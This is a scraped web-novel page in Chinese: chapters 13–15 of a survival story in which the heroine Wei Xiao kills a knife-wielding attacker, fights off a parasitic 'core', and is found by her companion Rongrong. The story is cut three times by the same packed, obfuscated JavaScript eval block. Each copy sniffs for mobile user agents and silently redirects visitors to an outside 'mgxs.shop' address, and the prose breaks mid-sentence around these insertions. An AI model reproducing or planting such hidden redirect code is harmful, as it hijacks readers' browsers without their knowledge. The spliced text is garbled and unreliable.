;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351499|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理过的东西,其实是非常厉害的技术。” “放弃吧......我理解你在想什么,你过去应该生活得很.....幸福,所以还不适应,但很多时候...就是这样的。”绒绒最后补充到,“清楚自己的能力大小,及时判断是否该放弃,也是对活着的人负责,四盒走不了了。” 不知何处又传来了爆炸声和惨叫声,四盒忽然停下了编辫子的动作,缩回了手,过了一会,某个坚硬的圆形小金属被塞到了卫晓手上,卫晓一愣。 是四盒手上戴着的戒指,小小的金属圈还带着体温,卫晓不知所措地握着它,微弱的光线中,她看见了四盒无神的黑眼睛,那双眼睛似乎在看着她,又或者只是茫然地望着虚空。 “四盒……四盒……”四盒发出了模糊的喃喃声,又开始抚摸着卫晓的头发,卫晓只能勉强听清楚“四盒”的发音,她忽然想到四盒应该不是面前这个中年女人的名字,但她真实的名字她们已经不得而知了。 她知道自己可能要死了吗?卫晓握紧了手上的戒指,她们只是一起住了两天而已,为什么要给她戒指,纪念?托付?她一个异界来客,自己都保不住,又有什么天大的本事握得住?无力的愤怒被浇灭了,绒绒说“清楚自己的能力大小”,她一直都很有自知之明的。 “你希望我为你做什么吗?”但卫晓垂着头小声说,手心被戒指咯得有点痛。 四盒还是自言自语着抚摸卫晓的头发,她好像一直沉浸在自己的世界中,戒指似乎只是她的一时兴起,就是单纯的想给她。 “这是食物。”绒绒打破了沉默,弯腰把一些块状物放在四盒旁边,“走吧,如果我们能活着出去,或许还能回来找她。” “……好。”卫晓不敢再去看四盒的眼睛,裤兜太浅了,她把戒指戴到了自己的拇指上,握紧了拳头,转头去找酥七,“我们……” 心里忽然一紧,但还没等卫晓反应,她就被人猛地推了一把,那人的力气大得惊人,让她往后直接摔到了绒绒脚边,四盒不知是受到惊吓还是被波及,身体不自觉地歪向了一边,卫晓呼吸一滞。旋即一个小小的东西扑了上来,一只铁钳般的手攥住了她的脚腕。 爆炸的闪光先一步刺痛了视网膜,卫晓下意识抬手挡在面前,衣领却猛地一紧,在震耳欲聋的爆炸声中,身体天旋地转地飞了出去,以被抓住的衣领为圆心荡了一圈,最后头朝下摔进了一堆杂物中,攥着她脚腕的人也被狠狠甩了出去。 另一个人松开了抓着她衣领的手,连续的噗嗤声伴随着咔哒声一起响起,没等卫晓搞清楚状况,透过扬起的灰尘,她先看见了从地面涌出的苍白人体,和躺在光亮外的小小身影。 “快……快……” “来不及了……” “不能错过!” “再快一点……” 脑海里起伏的嗡嗡声和低语的人声响亮得盖过了爆炸带来的耳鸣,像无数烧红的小针刺穿了大脑,让人几近昏厥,胃部剧烈痉挛,有温热的液体从眼睛耳朵鼻子里缓缓流出来,卫晓忍不住要抬手去捂,有人却摁住了她。 “别动。”绒绒也陷在杂物中间,她滚了一圈举枪瞄准,呼吸异常急促,“我们忘了注意酥七。” 13. 永不停歇之地(7) 忘了……酥七?什么意思?卫晓大口喘着气,那种无意义的焦虑感压得她几乎崩溃,脑花仿佛被扔进了开水里上下翻腾,过了好几秒才理解这是什么意思,她费力地眨眼,终于在一片血红的视野中看清了远处的小小身影。 是酥七,她躺在地上,面朝着她们,身体却不自然地抽-动着,四肢仿佛都有自己的意识,在疯狂地抽-动,大大的眼睛突出,直直地盯着她们。黄-色的头发与红润的皮肤都褪色了,褪成了纯粹的黑白。 记忆中关于核心寻找宿主的描述慢慢清晰起来,灼烧般的疼痛更剧烈了,但她整个人如坠冰窟。 “…核心…酥七,它?”卫晓颤-抖着开口,绒绒没有回答,但她不需要答案了,发生了什么?是她们没注意吗?就一会会的时间……四盒呢?炸弹爆炸了?四盒呢? 四盒的戒指还被她攥在手里,混乱中却没有四盒的身影,她们似乎瞬间来到了另一个地方,又穿越了? 昏暗中卫晓看不清绒绒的神情,她半跪在地,整个人像雕塑般凝固不动,只有手上还在连续扣动扳机,先一枪击中了酥七之前受伤的腿,让它再次倒地,接下来每一发子弹都精准击中了核心的头部,将它一直逼到了墙边。 被击中的地方没有流血,而是像流体一样随着打击出现凹陷又缓缓复原。酥七的脸已经面目全非,但核心全不在意,它拖着断腿站了起来,没有再看二人,而是跌跌撞撞地撞开不远处的一道门,冲了进去。 咔哒声还在响起,卫晓能看见苍白的肢体在不远处缓慢蠕动,绒绒停下了射击,保持着举枪的姿势一动不动,目光也投向那道门。 那里不是一片黑暗,惨白的灯光透了进来,那边似乎是一片满是废墟的空地,核心正往中间一个白色的东西跑去。 .....是走廊,随着核心远离,卫晓的思维逐渐冷却下来,看见那东西,她忽然反应过来了,她们绕回来了?废墟中间的白色物体是由之前见过的“壳”,那片空地是三人小队分开前所在的走廊,地板还在,而周围乃至往上几层的所有房间都已经粉身碎骨,形成了一个半圆形的空洞,有光自上而下照亮了废墟,核心正向那里狂奔而去。 微弱的灯光也照亮了周围,她们正在四盒所在房间的外面,在进去之前,她拉着酥七还在这堆杂物后面躲过。 “我吸引,你去打。”还被怪物包围着,卫晓试图先找解决办法。她不敢乱动,只能用余光瞟着也在流鼻血的绒绒,小声说。咔哒声停下了,她的声音像回声一样从各个方位响起,那些东西又围了上来,但卫晓这次似乎没有受到太多影响,思维依旧清晰,只有轻微的眩晕感。 推她的和抓她的应该都是酥七,混乱中还碰到了四盒,引发了爆炸。拎她领子的是绒绒,不知用了什么方法,带她瞬间离开了四盒所在的房间。事情发生的太快卫晓不知道这是怎么回事,但绒绒看上去非常淡定,她也就不多问。现在被核心控制的酥七还在眼前,她来留住怪物,绒绒或许还有办法救她。 绒绒没有动作,眼睛直直盯着奔跑的核心,卫晓心里明白了什么,也沉默地看去。 酥七实在是太矮了,在塌下来的大块楼板中小小的身影时隐时现,速度却快得惊人,转眼就到了近前。但就在它即将触碰到壳时,奔跑的脚步忽然一顿,与此同时绒绒不管越来越近的怪物,一把扑倒了卫晓,二人卧倒在地。 有些耳熟的嘶嘶声越来越响,旋即一束细细的亮光自上而下,直直击中了壳。二者接触的瞬间,明亮得能吞噬一切的强光充满了视野,剧烈的爆炸再次席卷开来,地面巨震,热浪夹杂着碎石噼里啪啦地从头顶飞过,甚至将趴在地上的两人都掀飞了出去,翻滚着撞上了墙,一声尖利的惨叫回荡在整个建筑中。 ......陷阱?因为爆炸卫晓耳朵痛得厉害,几乎听不到任何声音,好在脑子还灵光,是那三个家伙干的?他们用了什么办法引核心过去,又炸了一次。 那酥…核心死了吗?突然出现又消失的强光刺得卫晓的眼睛也流泪不止,她使劲眨眨眼睛,转头去找身边的绒绒。 绒绒大概是察觉到了陷阱,等着他们动手,酥七已经…… 卫晓一边想着一边又眨了眨眼睛,视野忽然恢复了昏暗,她眼睛又痛,灰尘又大,一眼扫过去居然没看见绒绒,周围的那些怪物也已经消失了,周遭突兀地安静下来。 她眨了眨眼,又揉了揉眼,眼睛已经适应黑暗了,面前正在和地面融为一体的碎石都能看见了。 但她没看见绒绒。 卫晓瞬间手脚冰凉,她保持着趴在地上的动作,慢慢伸手摸索过去,身侧空空如也。 绒绒消失了。 冷汗再次打湿了后背,卫晓盯着身侧,慢慢地把自己撑起来,更多的杂物映入眼帘。还是没人,她目光移动,锁定在了脚边。 她们是面向核心跑走的方向,脚向墙壁卧倒的,现在绒绒不见了,脚边的墙壁却有一扇大敞的门,门内被光照亮的地方一片空荡,一摊碎石瓦砾一动不动的躺在地上。 她又回头去看“壳”所在的空地,现在那里又换了一幅模样,爆炸过后,“壳”已经渣都不剩了,只有一个空荡荡的大洞,怪物不见了,核心不见了,绒绒也不见了,就像人间蒸发了一样,一点痕迹都没有。爆炸好像把她炸到了另一个空间,空无一人的建筑里只有疯长的藤蔓在蔓延,不时有碎石滚下来,耳鸣已经逐渐缓解,只有隐约的嗡嗡声回荡在脑海中。 或许因为又一次受创,大楼正在不断发出不详的嘎吱声,一些可怕的想象浮现在脑海里,卫晓压了一下脸上的伤口,用短暂的疼痛唤回自己的思绪。 做点什么,她迅速确定了目标,不能没有绒绒,她一个人走不出去,要活着得去找绒绒,绒绒不会也不能像四盒和酥七一样一声不吭死掉的,一定是发生了什么。 那些怪物没有出现,但卫晓不敢轻举妄动,她一边观察着周围,一边从已经七零八落的杂物堆里抽了一根金属管出来,支撑着慢慢起身,探进半个身子扫了一眼身侧大开的门。 看位置,这扇门原来是被杂物堆盖在后面的,门后又是一间房间,房间很小,再没有其他的门,借着身后那一点点灯光就能一览无余,一张窄窄的单人床放在角落,上面扔了几件五颜六色的衣服,另一边是一张大桌子,悬浮的屏幕忽明忽暗,一杯饮料打翻在了桌子上,反射出屏幕上闪烁的一串串数字。 不对。 卫晓回身环顾,她所在的房间右边是一片废墟,那里原来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351500|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四盒在的位置,爆炸将那间房间炸烂了,天花板塌下来彻底封死了那个角落,四盒大概也永远留在了那里。核心跑出去的那扇门则在左前方,通向原先壳所在的位置。 灰巢内部时空混乱,注视着昏暗的房间,脑海中伊娃的话再次响起,虽然已经一片狼藉,但卫晓终于转过弯来了,核心跑出去的门正是她们进入这个房间的门。 之前事情发生得太快,现在卫晓才意识到不对,那扇门不可能通向“壳”所在的走廊,她们绝对不是从那里来的,她们不是绕回去了,是门联通的房间变了。 绒绒开门的时候她和酥七有躲到杂物堆旁边,她没有注意墙上有没有门,但杂物堆后的房间应该也变过。卫晓又撇了一眼身后的房间,这间房间有人生活,那么不可能在门口堆起这么高的杂物堆,除非那人完全不进出。 核心可以控制灰巢,它没死,之前它改变了门后的空间,将走廊与她们所在的房间连接了起来,又趁着爆炸改变了她们脚边的门,把绒绒不知道拉到了哪里去。 为了专门把她们分开?卫晓警觉地环视一周,为了逐个击破?有这个必要吗?那些学人动作的怪物就能轻而易举地将她和绒绒困在这里。 目标是绒绒?.....还是她?卫晓的心沉了沉,她不知道刚才的爆炸对核心造成了多大的伤害,核心想补充能量?还是更换身体? 现在还没有异常,物体混同的进度倒是加快了不少,用钢管扫过周围,被她和绒绒打散的杂物已经有不少死死粘在了地上,甚至在以肉眼可见的速度缓慢沉入地面。 看着逐渐与地面融为一体的小纸片,卫晓忽然灵光一闪,转身用力拉上了门,幸好门轴还没卡死,可以勉强合上。 她站在门前,心里飞快地默念绒绒,又慢慢推开门。 无事发生。 门后还是一模一样的房间。 猜想失败了,看灰巢失控得厉害,她以为核心已经比较虚弱了,有意识的东西都可以影响灰巢,既然核心可以通过门来实现空间转移,或许她也可以直接连到绒绒所在地。 哪有这么简单的事情,卫晓在心里吐槽了一句,把门掩上,拎着钢管转身跨出杂物堆,如果真的可以心想事成,她应该直接幻想打开门就回家了。 熟悉的家门口的样子浮现在脑海里,开门,然后是地毯,地板,冰箱,桌子......卫晓抿了抿嘴,握紧钢管慢慢向走廊方向挪过去,幻想固然美好,但现在活下去才是现实,她要出去看一眼,说不定绒绒…… “晓……” 什么? 卫晓猛地扭头,身后空无一物,杂物堆,掩上的门,一切似乎都和她转身前一模一样,灰暗的世界里一切都在无声无息地融合,只有扰人的嗡嗡声和危险的嘎吱声持续不断。 很短很轻的声音,幻觉般在身后响起又转瞬即逝了。 但她认出来了,这是她妈的声音。 幻听?卫晓竖起耳朵又仔细听了听,她知道灰巢会影响人的心理,她太紧张了? 又或者……她的确影响了灰巢? 卫晓往回走了几步,用钢管一把戳开了门。 门后不是那间小房间,而是一个穿着橙色防护服的,伤痕累累的小个子男人。 14. 永不停歇之地(8) 三人小队里的那个橙色队员! 显然这突如其来的面对面让双方都吓得不轻,他迅速架起了一个防御的姿势,剧烈喘息着,卫晓也猛地往后退了两步,双手握住了钢管,心提到了嗓子眼,刚才门后绝对没人,这短短的一会,后边的空间又变了? 双方一时都没有动作,在昏暗中警惕地盯着对方,这人似乎受伤严重,借着身后昏暗的灯光,能看到他防护服的上身烧穿了一-大块,露出放射状的、蔓延到脸上的粉红伤口,皮肉鲜嫩,仿佛他的胸口被炸弹炸过,又勉强愈合了。 看着这橙色的防护服,卫晓心里警铃大作,酥七说过绒绒抢了这人的装备,又让他引走了当时困住自己的怪物,那么绒绒的消失与他有关? 会打起来吗,卫晓握着钢管的手心微微有些出汗。 “......别紧张。”在越来越紧绷的气氛中,他居然先开口了,“我们没理由打架.....对吧?而且我已经这个鬼样子了......我希望你可以帮我一下.....” 他同时放下了防御的架势,站在原地,举起双手展示自己没有武器,脸上摆出了一个僵硬的笑容。 卫晓紧紧盯着他的一举一动,不敢冒然回话,将钢管抬得更高了。 “我理解你.....但我相信你也想出去,我也是,我只是为了我孩子的医药费而已......”讲到这里他甚至抹了抹脸,往前迈了一步,一副要哭不哭的样子,“她还在等我,我......我们合作,我可以向上面证明你提供了巨大的帮助!你不管犯了什么罪,都可以一笔勾销,还有奖励!” 卫晓没心思关心这人有多惨,但最后一句话让她稍有动摇了,如果他的确可以帮自己脱罪呢?出去之后的情况还未知,并且她不太想也不太敢和这人动手,尽管他伤重,但自己也好不到哪去。 房间恢复了沉默,那人保持着悲伤的神情,一双三角眼充满希望地看着卫晓。 忽然,一声熟悉的“噗嗤”从身后某处传来,紧接着连续再响。 绒绒! 卫晓一惊,这突如其来的声响将她的注意力从对面分走了一瞬,在回神的瞬间,她只来得及看到一点寒光一闪,直冲咽喉而来。 ! 尽管已经预演过无数遍怎么挥舞着钢管与他周旋,但真的到了这个时候,大脑只有一片空白,她根本用不出手上的钢管,下意识就交叉双臂护住要害,身体后仰。 叮—— 刀尖自上而下,正正撞上了卫晓藏在小臂上的勺子!本该将她手臂砍下半个的攻击滑开了,只留了下一段长长的血痕,鲜血和豁开的勺子一起落到地上。 一个踉跄,卫晓站稳了,她惊恐地望向对面,心跳快得前所未有。 这人想杀她!事实已经明了,战斗已经打响。 怎么办! 那男人也后退了几步,他嗦干净了刀尖上的血,脸上可怖的烧伤缩小了一点。 “小灰崽子。”他看着地上的小勺子嗤笑一声,急不可耐地再次冲了上来,“白费老子这么多力气!” 尽管这次有了准备,但卫晓面对直直刺来的刀尖,第一反应还是转身逃命,她四体不勤五谷不分,鸡都没杀过,完全没有任何身手可言。 但房间太小了,男人速度太快了,她逃不掉!卫晓立刻就意识到了这点,她只退了几步就差点被废墟绊倒,根本没地方跑! 眼看刀尖就要到面前,卫晓根本没空想也想不出该怎么打,她只能拼尽全力握紧钢管,狠狠抽了出去。 出乎意料的是,男人没能躲开这毫无章法的一击,钢管带着呼啸的风声,先一把打在了男人小臂上,竟抽得他小刀脱手,紧接着钢管余势不消,锋利的尖端从他的胸口划过,轻而易举地带出了一串血花。 他后退几步捡回了小刀,阴沉地盯着卫晓,伤口流血不止。 他比自己想象得弱!生死威胁下大脑前所未有地清晰,直觉前所未有地敏锐,一击即中,这极大鼓舞了卫晓,她努力让自己的呼吸平稳,稍微压低身体,将钢管握得更紧,这人和绒绒不一样!不管因为什么,她菜,这人也菜! 但男人没有接着再进攻了,他如同伏击的野狗般绕着卫晓,逗弄似地快速接近又远离,看着卫晓惊弓之鸟般挥动钢管。 几个回合拉扯下来,卫晓的呼吸越发沉重,她努力无视酸痛发-抖的手臂肌肉,盯紧男人的动作。 不能一直僵持下去,他在消耗她本就不多的体力,她当然看出了男人的意图,那么要如何结束这场战斗?跑不掉,她要想办法杀了对方吗! 杀人.....没等她细想,男人再次接近,既然他在试探,卫晓便也收力,没将钢管全力挥下。 破绽已经明晃晃地摆在了眼前,男人露出了阴狠的笑容,这次他没有像卫晓料想的一样再次后撤,而是直直往前,钢管砸到了背上,刀却毫不犹豫地直冲咽喉而去。 自己在想什么!瞬间卫晓就意识到了自己翻了多大的错误,但已经追悔莫及,她下意识后退,脚下一绊,摔倒在地。 刀尖从她眼前掠过,意外的摔倒让她又逃过了一劫,下一秒根本来不及思考,卫晓就地一滚,堪堪避开了落在耳边的短刀,钢管脱手,被甩到了一边。 脆弱的平衡被打破了,战斗进入了混乱,男人急躁地向来不及起身的卫晓扑来,试图赶紧制服自己的猎物。 你死我活! 卫晓终于也红了眼睛,翻滚间肾上腺素让卫晓完全忽视了颤-抖的肌肉,力气大得惊人,她连续将对方踹倒了几次,试图起身去够钢管,昏暗的房间里烟尘四起。 但男人再怎么虚弱,千锤百炼过的身手还是让他占据了上风,两人最终狼狈地在地上扭作一团,一只手卡住了卫晓的胸膛,将她狠狠压倒在地上,卫晓的膝盖顶住了男人的肚子,右手死死撑在了他的下巴上,然而拼尽全力也只能勉强让他仰着头。 男人毫无束缚的右手握着刀,凶狠地向卫晓头颈处扎下,剧烈的心跳声中,卫晓的大脑居然还是清晰得可怕,电光火石间,她咬牙控制住本能的挣扎,将左手稳稳挡在了脖颈前。 在右手抵住男人下巴颏的瞬间,卫晓想到了什么,一件自从她进入灰巢就被她忽略的事情。 被迫抬头的男人看不清卫晓的位置,但刀还是精准地扎向了脖颈处,他割过那么多喉咙,闭着眼睛都知道要往哪扎。 锋利的短刀瞬间穿透了手心,速度减慢了一瞬,生死之际卫晓不顾几乎被劈成两半的手掌,一把握紧了几乎没柄的小刀,但她架不住男人的力气,继续下压的刀尖触到了她的脖颈,鲜血涌出。 可卫晓完全感觉不到疼了,她只死死瞪着自己的右手。 不管是神是鬼还是别的什么,更多的刀,给她更多的刀!!! 冰凉的触感降临在颈间时,火鸡还没有反应过来,他满心都是赶紧吃了这个女人赶紧回血的急躁,以至于全身的力气忽然流失的时候,他只觉得疑惑。 他松开了刀子,在自己的脖颈处摸到了什么滚烫的液体,没等他意识到这是什么,窒息与寒冷一起涌了上来,紧接着视野彻底黑了下去。 滚烫的血浇了卫晓满头满脸,她的视野一片血红,伸直的右手死死攥着刀柄,直到锋利的刀刃在重力的作用下彻底割穿男人的脖子,男人的身体沉重地倒在了卫晓身上。 我赢了,卫晓大口大口呼吸着血腥味浓厚的空气,身体紧紧绷着。 我活下来了。 我赢了。 她费了好大劲才让自己放下手来,丢掉短刀,抹干净眼睛上的血,接着让自己努力往外爬,仿佛压-在她身上的只是什么沉重的沙袋,而不是新鲜的、由她创造的尸体。 坐在旁边喘了两口气,卫晓用破烂的衣服草草裹了一下透风的手掌,摸到旁边的钢管,支撑起身体走到了光亮处。 去找绒绒,她越走越快,眼睛坚定地注视着前方,不再去看身后,不再多想任何事,她带着恶狠狠的戾气想,这一把她赢了,她做到了,活着理应是胜者的奖赏,现在她要活着回家,赶紧回家,这里的一切都不重要,她家不在这里。 - 现在,“壳”之前在的地方已经变成了一个漆黑的大洞,隐约能看见破烂的下层房间,周围的房间已经变成了一片破碎的废墟,完全看不出原来这是一条走廊。往上几层也垮塌下来,露出了一圈只剩半截的房间,最上面有一个球体发出冷冷的白光,照亮了这一片死寂的空间。 之前听到的噗嗤声没再响起,换成了连续的闷响与脚步声从上方传来,隐约夹杂着人声,卫晓又踉跄着往外走了几步,探头向上方的楼层看去,钢筋与碎石的缝隙里,忽然有模糊的红色和蓝色一闪而过。 是绒绒! 尽管只是一闪而过,但卫晓确定自己绝对没认错,她急忙又连滚带爬往外几步,在刺眼的白光下眯眼往上看。 她似乎也在和谁打架……蓝色衣服,是那个白发女队员?怎么回事?绒绒被送到了女队员附近? 黑白的世界里两人红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351501|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝的衣物无比显眼,她们在塌了一半的房间里缠斗,动作快得只有残影,无数苍白的怪物围绕在她们周围,用一模一样的动作纠缠在一起。再往上,是之前走廊里见过的大型枪械,枪口指着下方,正缓缓冒出青烟,那位青色的队员一动不动地靠在旁边。 怎么办怎么办怎么办,卫晓目不转睛,心里却焦急不已,起初绒绒不落下风,还有空余击退贴得太近的怪物。但她的攻击似乎也无法对女队员造成伤害,怪物群越来越近,女队员戴着头盔,看上去没有被影响,绒绒的动作却越发迟缓了。 她应该上去帮忙吗?要怎么上去?上去怎么帮忙?还是在下面吸引怪物?吸引了之后呢?她能为绒绒做点什么?卫晓在下面干看着,急得团团转,尽管刚刀了一个人,但她一看便知自己的实力不是能掺和到绒绒和女队员中间去的。 别急,她平复了一下呼吸,试图拉住自己无头苍蝇一般焦急乱撞的思绪,能力有限不不代表能心安理得地躺平,她都杀了一个人了,肯定能做些什么的,做什么呢?可恶怎么又开始焦虑了—— 忽然之间,卫晓寒毛直竖,一种本能般的恐惧疯狂报警,刚才搏命带来的肾上腺素还没褪净,她头还没转过去,手上的钢管就先往后挥了出去。 挥动的力度太大,带得虚弱的卫晓一个踉跄,差点摔倒在地。砰——金属与血肉碰撞的声音传来,背后的东西也没反应过来,踉跄着被打退了几步。 “酥......”话只出口了一半便被卫晓咽了回去,不是酥七,是受伤的核心! 它小小的身体只剩下了半截,在地上扭动了两下就面无表情地再次扑了上来,卫晓只来得及看一眼,强烈的眩晕感反胃感与灼烧感便同时袭来,眼耳鼻剧痛,有血冲破了干涸的血痂,流了满脸。 不能坐以待毙!她双手握紧了钢管,向后跌靠在一块倒塌的楼板上,又全力挥出了两棍。 但眼前已笼罩上一片血色的模糊,再怎么眨眼也只有恍惚的重影。小小的身影尽管只能靠双手活动,速度却快得惊人,轻而易举地避开了挥舞的钢管,猛地凑到了卫晓面前,灼烧的热气混合着甜腥味呼啸而来,一双凸-起的漆黑的眼睛一瞬间就近在咫尺,在眼皮落下前贴到了卫晓眼球上。 瞬间,时间停滞了,先于恐惧占据大脑的是狂乱,所有感觉都褪-去了,脑海中哭声人声嗡嗡声混杂着瞬间响起,前所未有的清晰。 强烈的情绪排山倒海般淹没了卫晓,不,谁是卫晓?卫晓是谁? “我可以的......做不到......再试试......不知道......不知道不知道不知道不知道!” 大脑仿佛被火焰吞噬,在灼烧的剧痛中隆隆作响,她是即将毕业的学生,要交房租的年轻人,失业的老年人……她的父母,他的家人,她自己,在催促着期待着威胁着ta动起来,无数话语重叠成了无意义的嗡嗡声,将她的意识掀得天翻地覆。 但要去做什么呢?不知道。怎么做呢?不知道,选择这么多,声音那么多,但不行不行不行,不管做什么似乎都没有希望,没有出路,只能在焦虑中一刻不停或者一动不动。 脑子要炸开了!短暂怔愣之后,源自本能的恐惧终于姗姗来迟,死亡的恐惧太过强烈,以至于在如此可怕的混乱中都硬生生撕开了一条缝隙,卫晓不知道自己是不是在尖叫或者哀嚎,她攥紧了手上的钢管试图将那东西砸下来,但它的力气大得惊人,温度高得惊人,双手手指深深按进头皮,似乎已经长在了自己脸上,它凸-起的眼睛紧紧贴着她的,头骨嘎吱作响,灰色的血肉融化之后相互交融。 这东西要钻进她身体里!勉强恢复理智的大脑首先传递了这个恐怖的消息,卫晓一头撞向旁边的楼板,挤压的咕叽声与骨骼的脆响在耳边响起,死的恐惧彻底驱逐了一切杂音,控制卫晓不顾一切地求生。 滚开!灵魂在尖叫,尽管视线只有一片黑暗,她还是精准地又一头撞上了楼板。陷进她头皮的双手似乎松开了一点,卫晓艰难地喘息着,仰头再次向着楼板撞去。 但来不及了,卫晓没有听见长枪充能的嘶嘶声,一道强烈到要让人融化的光束忽然笼罩了她,如有实质的光线瞬间让卫晓丧失了视觉,黑暗中灼烧的剧痛在皮肤表面猛地炸开,却又转瞬即逝。 妈妈!我不想死... 脚下一空,建筑坍塌的声音伴随着可怕的失重感传来。直觉给出了毋庸置疑的答案,她下意识地呼唤母亲,但最后的念头不甘心地闪动了一下,随后彻底归于黑暗。 15. 永不停歇之地(终) 她仿佛身处深不见底的深海,五感尽失,无形的海水无比沉重,压得她无法呼吸。 她?她是什么? 要窒息了!氧气!呼吸!挣扎间有一只手把她猛地往上一拉,清凉的气体忽然涌入,她大口大口喘息着,感觉有液体正随着心脏的收放,奔向四肢百骸。 活着,一个念头没来由地冒出来,成为了混沌中的第一道光,由此带出了一串轻飘飘的喜悦。 回去,第二个念头紧随而来,模模糊糊的声音在耳边响起,说该起床了,吃饭了,长大了,回家了。 排山倒海的记忆雪片般喷涌而出,她想起来了,她是卫晓,她还活着,她要回家。 卫晓的手指动了动,猛地睁开了眼睛。 ......还活着,她剧烈地喘着气,仿佛真的刚从深海里浮起。全身都剧痛不已,耳边的嗡嗡声前所未有的响亮,浓烈的腥甜味道充满了鼻腔。 混乱,恐惧,光亮,疼痛,坠落,卫晓确定自己必死无疑。 但好像是一场梦,她好像还活着。 头顶的光忽明忽暗,卫晓用尽力气抬起手,艰难地摸过额头光滑的皮肤,脸上流血的伤口,柔软的脖颈,起伏的胸腹,手臂,掌心……指尖拂过每处伤口时都带起了鲜明的刺痛。 确实还活着,她最后精疲力尽地用手臂盖住了眼睛,低低地笑起来,泪水混着血洇湿了鬓角,太好了,她居然还活着。 一阵低低的、饱含痛苦的呻-吟声从旁边传来,卫晓抬起手臂偏了偏头,酥.....核心居然也在她附近,正蜷缩成一团哭泣。 “我会努力....” “我可以的,再给一点时间。” “对不起......” “好累,我......” “我不知道……” “好痛……” 人声还在隐约响起,但在响亮的,充斥脑海的嗡嗡声里已经几乎听不见了,它残破的小小身体正在一点一点变成彻底的黑白,断开的腰腹处似乎正在融化,黑白分明的皮肤与器官逐渐变成了一摊灰白的液体,被煮开般冒着泡,最后滋滋作响着蒸发,沸腾的热度隔着一段距离都让卫晓的皮肤微微发烫。 它要死了,思维转了一会才得出一个结论。之前一直不明显的嗡嗡声现在变得前所未有的响亮,思维不再混乱或焦躁,而是仿佛身处冒着泡的粘稠糖浆中,每一次思考都黏糊糊慢吞吞的。 卫晓努力了半晌才控制着自己坐起来,右手在地上一撑,清脆的金属碰撞声伴随着掌心的疼痛让她清醒了一点点。 垂眼看去,那根金属管还在她手上,她似乎始终牢牢握着它,以至于和掌心的皮肉连在了一起,一起黏住的还有四盒的指环,几乎和她大拇指根的肉融为一体。 鲜红的增生组织牢牢附着在了金属上,她稍微揭了一下,疼得一个激灵。背后的衣服好像也黏在了背上,一点动作都剧痛无比。 怎么回事,她借着疼痛带来的清醒费力地思考着,黏在一起,混同......棍子都粘在手上了,她昏迷了多久? 周围大块的废墟正在以肉眼可见的速度融化,逐渐变为混沌的一体,藤蔓无序地生长,变得愈发巨大。仰头看去,一个巨大的空洞在她们正上方,她们跌下了不知几层,那个光球还在坚持,发出不稳定的光线。崩塌的声音从某处传来,地面在震动,烟尘四起,在灯光下闪闪发光,为这片糟糕的废墟带来了一点诡异的梦幻感。 要塌了,看了一圈四周,思维终于缓缓给出了答案。卫晓扶着墙试图站起来,右腿小腿传来一阵剧痛,她记得要去找能把自己带出来的人......是谁来着? 手一滑,她又跌倒在地,右腿不知道是骨裂了还是骨折了,一点力气都使不上,一碰地就痛得钻心。肺也很痛,全身都很痛,卫晓咳嗽了两声,用双肘支撑着,勉强挪动了几步。 要活下去......要出去...... “明月?”做梦一般,一个恍惚的声音忽然在头顶响起,卫晓一愣,抬头看见一个脑袋出现在遥远的空洞边缘。 逆光,她眯了眯眼,还是只能看见黑黑的剪影,勉强能看出她有一头乱翘的短发,耳边一点红色一闪。 但这个声音有点熟悉,卫晓盯着上边,恍惚地想,是她要找的人? 那个脑袋缩了回去,接着一整个人伴随着碎石一起,稀里哗啦地掉了下来。她双手缓冲落地,最后却没站稳,哐当歪倒在了地上,挣扎了几下着才爬起来。 “我还以为你没救了,你的抗性真是好得出奇。”她踉跄着站直了,“太好了,走,带你出去,我说到做到。” 卫晓眼前全是晃来晃去的重影,但她看清了那个破破烂烂的亮红色背心,嗡嗡声中,她终于想起来了。 不安感忽然消失了,她整个瘫倒在了地上。 绒绒的脚步在垂死的核心身边顿了一下,她站定,举起那把橙色的枪,对准还在垂死挣扎的核心扣下了扳机。 噗嗤声过后,子弹顺利穿透了它的头颅,饱含痛苦的低语彻底消失了,酥七的身体和那莫名其妙的核心一起,彻底变成了一摊滋滋作响的灰色液体,最终蒸发得无影无踪,一点痕迹都没留下。 “还清醒吗?”绒绒俯下身子,用手背贴了贴卫晓的脸颊,哑声说,“我是谁?” 绒绒的手有些发烫,贴在脸颊上热乎乎的,卫晓脑子还是不太清醒,嘴巴张了半天没说出话来。 啪—— 绒绒反手在她脸颊上抽了一记,效果立竿见影,卫晓瞬间清醒了一点,连忙答到:“绒绒,绒绒,我是……明月。” “脑子没坏,身体呢?能动吗?”绒绒放下了还扬在空中的手。 “腿……右腿动不了。” 